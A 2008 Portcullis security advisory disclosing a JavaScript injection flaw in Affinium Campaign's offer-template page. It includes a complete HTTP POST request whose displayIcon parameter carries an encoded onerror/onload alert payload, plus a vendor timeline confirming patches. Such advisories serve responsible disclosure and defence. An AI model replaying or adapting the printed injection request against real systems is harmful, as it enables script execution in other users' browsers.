Home / vulnerabilities aftemplatesxss-08_003.txt
Posted on 31 July 2008
Source : packetstormsecurity.org Link
Portcullis Security Advisory - 08-003
Vulnerable System:
Affinium Campaign
Vulnerability Title:
The web application's templates web page is vulnerable to a JavaScript injection.
Vulnerability Discovery And Development:
Portcullis Security Testing Services.
Credit For Discovery:
Tim Brown - Portcullis Computer-Security Ltd.
Affected systems:
All known versions of Affinium Campaign; the vulnerability discovered was for version 7.2.1.0.55.
Details:
It is possible for an attacker to inject JavaScript into the templates web page by manipulating the displayIcon parameter of requests to https://webserver/Campaign/updateOfferTemplateSubmit.do. For example:
POST https://webserver/Campaign/updateOfferTemplateSubmit.do?action=finish HTTP/1.1
Host: webserver
Cookie: CAMPAIGNSESSIONID=HXJBBgzXJdYp1w1klLbQhwycZZ7pQxYyG1af33hRkXtJ1P9CTnMz!707630239
Content-Type: application/x-www-form-urlencoded
Content-Length: 818
createStep=3&offerTemplateID=2&actionType=edit&isInUse=false&offerTemplateName=TemplateName&description=Description&suggestedUsage=SuggestedUsage&displayIcon=%22+onerror%3Djavascript%3Aalert%28%2FXSS%2F%29+onload%3Djavascript%3Aalert%28%2FXSS%2F%29+foo%3D%22&offerCodeCodeFmt1=nnnnnnnnn&offerCodeCodeFmt2=&offerCodeCodeFmt3=&offerCodeCodeFmt4=&offerCodeCodeFmt5=&offerCodeGenerator=uacoffercodegen&treatmentCodeGenerator=++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&treatmentCodeFmt=nnnnnnnnn&offerListSelect=STATIC&offerListSelect=HIDDEN_STATIC&offerListSelect=PARAMETERIZED&policyId=100&updateEnumAttributeID=
The JavaScript from the manipulated request is returned in the response and executed when the browser tries to load the display icon.
Impact:
An attacker would be able to use this to execute malicious code on a visitors computers.
Exploit:
Exploit code is not required.
Vendor Status:
05/06/2008 - vendor informed
10/06/2008 - Vendor updated
11/06/2008 - Vendor responded via email
16/07/2008 - Vendor confirmed patches
Copyright:
Copyright © Portcullis Computer Security Limited 2008, All rights reserved worldwide.
Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.